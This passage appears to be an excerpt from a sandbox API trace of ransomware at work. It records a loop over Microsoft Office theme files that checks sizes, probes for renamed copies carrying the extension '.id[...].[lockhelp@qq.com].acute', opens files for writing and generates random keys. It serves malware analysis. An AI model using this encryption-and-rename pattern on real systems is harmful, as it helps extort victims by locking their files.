(lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 0x20 [0273.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.193] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.194] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.194] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3970) returned 1 [0273.194] CloseHandle (hObject=0x310) returned 1 [0273.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 0x20 [0273.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.195] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.195] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=53115) returned 1 [0273.195] CloseHandle (hObject=0x310) returned 1 [0273.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 0x20 [0273.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.196] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.196] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2604) returned 1 [0273.196] CloseHandle (hObject=0x310) returned 1 [0273.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 0x20 [0273.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.197] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.197] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.197] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=31975) returned 1 [0273.197] CloseHandle (hObject=0x310) returned 1 [0273.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 0x20 [0273.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.198] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.198] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.198] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.198] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4100) returned 1 [0273.198] CloseHandle (hObject=0x310) returned 1 [0273.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 0x20 [0273.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.198] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.199] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.199] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=47962) returned 1 [0273.199] CloseHandle (hObject=0x310) returned 1 [0273.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) returned 0x20 [0273.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.200] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.200] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.200] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3611) returned 1 [0273.200] CloseHandle (hObject=0x310) returned 1 [0273.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 0x20 [0273.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.200] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.201] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.201] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.201] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=34163) returned 1 [0273.201] CloseHandle (hObject=0x310) returned 1 [0273.201] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 0x20 [0273.201] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.201] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.202] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.202] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.202] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=937) returned 1 [0273.202] CloseHandle (hObject=0x310) returned 1 [0273.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 0x20 [0273.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.202] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.205] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.205] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.205] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=29305) returned 1 [0273.205] CloseHandle (hObject=0x310) returned 1 [0273.205] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 0x20 [0273.205] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.206] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.206] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.206] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.207] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1009) returned 1 [0273.207] CloseHandle (hObject=0x310) returned 1 [0273.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 0x20 [0273.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.207] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.207] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.208] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.208] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=27177) returned 1 [0273.208] CloseHandle (hObject=0x310) returned 1 [0273.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 0x20 [0273.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.208] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.208] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.208] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.209] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2209) returned 1 [0273.209] CloseHandle (hObject=0x310) returned 1 [0273.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif")) returned 0x20 [0273.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.209] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.209] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.209] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.209] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=21812) returned 1 [0273.209] CloseHandle (hObject=0x310) returned 1 [0273.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 0x20 [0273.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.209] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.210] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.210] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2527) returned 1 [0273.210] CloseHandle (hObject=0x310) returned 1 [0273.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif")) returned 0x20 [0273.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.211] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.211] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.211] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0273.212] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=19525) returned 1 [0273.212] CloseHandle (hObject=0x310) returned 1 [0273.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png")) returned 0x20 [0273.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft 